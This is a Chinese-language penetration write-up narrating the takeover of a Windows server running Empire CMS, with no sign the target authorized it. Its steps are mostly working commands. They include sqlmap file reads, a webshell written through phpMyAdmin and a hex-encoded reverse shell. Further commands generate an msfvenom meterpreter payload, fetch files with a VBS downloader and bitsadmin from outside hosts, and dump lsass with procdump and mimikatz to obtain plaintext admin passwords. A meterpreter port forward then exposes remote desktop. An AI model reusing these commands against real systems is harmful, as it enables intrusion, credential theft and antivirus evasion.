一次艰难的网站渗透
信息收集
对某网站进行的一次渗透过程。
存在php探针,phpinfo,phpmyadmin
image.png
image.png
弱口令登录失败。
网站使用帝国cms7.2
image.png
弱口令登录失败,使用帝国cms的通用漏洞,失败。
在知道绝对路径的情况下,dba权限的sql注入可以直接执行os-shell命令拿shell。
扫描开放端口,反查域名,寻找最可能存在sql注入的网站。
image.png
经过多次尝试,发现了一个联合查询型。且为dba权限的注入点。
image.png
sql注入的利用
已经绝对路径,且注入点为dba权限,在平时的大多数渗透中,就已经意味着getshell了。
然而,在这次渗透中,os-shell并没有执行成功。
image.png
经过多次尝试都以失败告终,猜测某种waf起了作用。
尝试使用sqlmap的写文件命令(--file-write 本地文件地址 --file-dest 写入地址),直接写入文件到网站目录下。
image.png
image.png
没有找到文件,多次尝试sqlmap无法成功写入文件。
尝试使用sql-shell执行sql语句写入文件。
image.png
失败,显示不支持非查询语句。
image.png
肉到嘴边吃不到呢,这感觉不好,sqlmap中所有能getshell的方法,都试的差不多了,依然没有成功。
这时突然想起了网站存在phpmyadmin,也许可以通过phpmyadmin拿shell。
不知道数据库密码,需要通过sqlmap的--file-read命令读取网站的配置文件。一般情况下网站配置文件的位置是没法确定的,然而,网站使用了帝国cms,一般配置文件的位置是固定的。帝国cms7.0后配置文件在e/config/config.php
image.png
成功读取到网站配置信息。
image.png
phpmyadmin的利用
使用获取到的密码登录phpmyadmin
image.png
执行sql语句写入文件。
image.png
执行成功。
image.png
访问生成的文件,可以访问到,使用菜刀连接失败。
image.png
怀疑是木马没有免杀,或者菜刀流量被拦截。
换上免杀马,使用插件hackbar执行一句话,和加密中转shell流量都以失败告终。
经过多次尝试对比,发现脚本木马只能够本地执行,无法远程执行命令。
<?php echo `ipconfig`>
生成一个本地执行ipconfig的脚本文件,并把内容输出出来。
访问该文件,成功访问到输出的ip信息。
image.png
image.png
猜测正向连接无法使用,只能使用反向连接,把对方的shell反弹到公网。
把反弹脚本转化为16进制。
image.png
开启nc监听,访问生成的文件。
image.png
反弹成功,且为最高权限。
image.png
但是进程中发现存在360全家桶。无法添加用户。只能尝试读取当前管理员的密码。
且上传Mimikatz无法做到免杀。
采取另一种方案Procdump+Mimikatz:
Procdump由微软官方提供:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
分为2步:
1、导出lsass.exe进程
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
2、使用mimikatz破解导出的文件lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
因此现在需要上传procdump64.exe生成lsass.dmp文件,下载下来在本地读取密码。
在只能输入dos命令的情况下一般通过2种方法下载文件。
1、创建downfile.vbs下载文件。
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs
cscript downfile.vbs http://192.168.40.13:9090/fileLibrary/5d5X9mSTZXjH9VlhXNN/x.txt D:\\tomcat8.5\\webapps\\x.jsp
2、使用bitsadmin命令
bitsadmin /transfer n http://www.xx.com/code.jpg c:\users\sdyp\desktop\ff.jpg
首先利用第一种方法下载,上传vbs文件失败了,360全家桶果然可以。vps被当成病毒被杀了。
使用第二种方法,也失败了,不知道是由于什么原因失败的。
在dos命令无法满足我的情况下,msf出场了。
msf的利用
由于到目前为止,只能通过数据库进行文件的上传。
因此需要用到php的反弹木马,再加上360全家桶不会去检查网站文件的安全性,省了免杀处理的环节。
php反弹木马使用php/meterpreter/reverse_tcp模块
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php
image.png
转化为16进制,使用phpmyadmin上传,开启监听,访问上传的文件。
image.png
成功接受到了会话。
使用meterpreter的上传命令上传procdump64.exe到网站根目录
使用procdump64.exe -accepteula -ma lsass.exe lsass.dmp命令导出lsass.dmp文件到根目录下载下来。
image.png
使用内核相同到虚拟机运行mimikatz,得到管理员明文的账户密码。
image.png
到这一步已经得到了管理员到账户密码,下一步需要把远程连接服务转发出来。
使用tasklist /svc命令查看TermService的进程号。
使用netstat -ano查看进程号对应的端口为5277
确定5277为修改后远程桌面服务端口。
在meterpreter中使用端口转发,转发5277到本地的5555端口。
portfwd add -l 5555 -p 5277 -r 192.168.100.208
远程桌面连接本地的5555端口,输入得到的账户密码,登录成功。
image.png
证实了服务器的防护很多,vbs文件被杀了!终于成功渗透成功,总归只能说网站的运行权限太高了,如果只是普通用户,想要拿下这台服务器可真的是太难了。